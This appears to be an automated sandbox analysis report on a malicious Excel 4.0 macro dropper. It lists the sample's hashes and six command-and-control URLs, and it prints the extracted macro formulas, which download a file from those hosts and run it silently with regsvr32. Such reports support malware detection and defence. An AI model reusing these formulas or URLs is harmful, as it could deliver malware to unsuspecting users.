General

  • Target

    bf26a41b37ddf84cead535ca3c18f5519eefe2a185b4d0874ad1830381145093

  • Size

    40KB

  • Sample

    241111-w3a8yawqbq

  • MD5

    fda2ac8d1e16114c7e7720bd0b8f9047

  • SHA1

    0ca9fb6015f45cd39a3b820532b6027beb3da690

  • SHA256

    bf26a41b37ddf84cead535ca3c18f5519eefe2a185b4d0874ad1830381145093

  • SHA512

    1473d3cbf784150096422e7ee1090e00f6ebdd0e8c16fe54c1ec4b531d8340b67d9684a21dcfe429955be7ba5d3eeb6bc02c9a2ef193cb80a7376f724906c085

  • SSDEEP

    768:C9oms9O+pOevZCwtxyKfcrND59V+L9Rw4eWrXcTqw0VfWZE:C9oms7tylND59V4jwmXc2RVfW+

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/

https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/

https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/

https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/

https://axial-ing.fr/old/98WgLPFy5u2Xf/

https://luape.es/wp-admin/moJpURVz/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://axial-ing.fr/old/98WgLPFy5u2Xf/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://luape.es/wp-admin/moJpURVz/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/

xlm40.dropper

https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/

xlm40.dropper

https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/

xlm40.dropper

https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/

xlm40.dropper

https://axial-ing.fr/old/98WgLPFy5u2Xf/

xlm40.dropper

https://luape.es/wp-admin/moJpURVz/

Targets

    • Target

      bf26a41b37ddf84cead535ca3c18f5519eefe2a185b4d0874ad1830381145093

    • Size

      40KB

    • MD5

      fda2ac8d1e16114c7e7720bd0b8f9047

    • SHA1

      0ca9fb6015f45cd39a3b820532b6027beb3da690

    • SHA256

      bf26a41b37ddf84cead535ca3c18f5519eefe2a185b4d0874ad1830381145093

    • SHA512

      1473d3cbf784150096422e7ee1090e00f6ebdd0e8c16fe54c1ec4b531d8340b67d9684a21dcfe429955be7ba5d3eeb6bc02c9a2ef193cb80a7376f724906c085

    • SSDEEP

      768:C9oms9O+pOevZCwtxyKfcrND59V+L9Rw4eWrXcTqw0VfWZE:C9oms7tylND59V4jwmXc2RVfW+

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks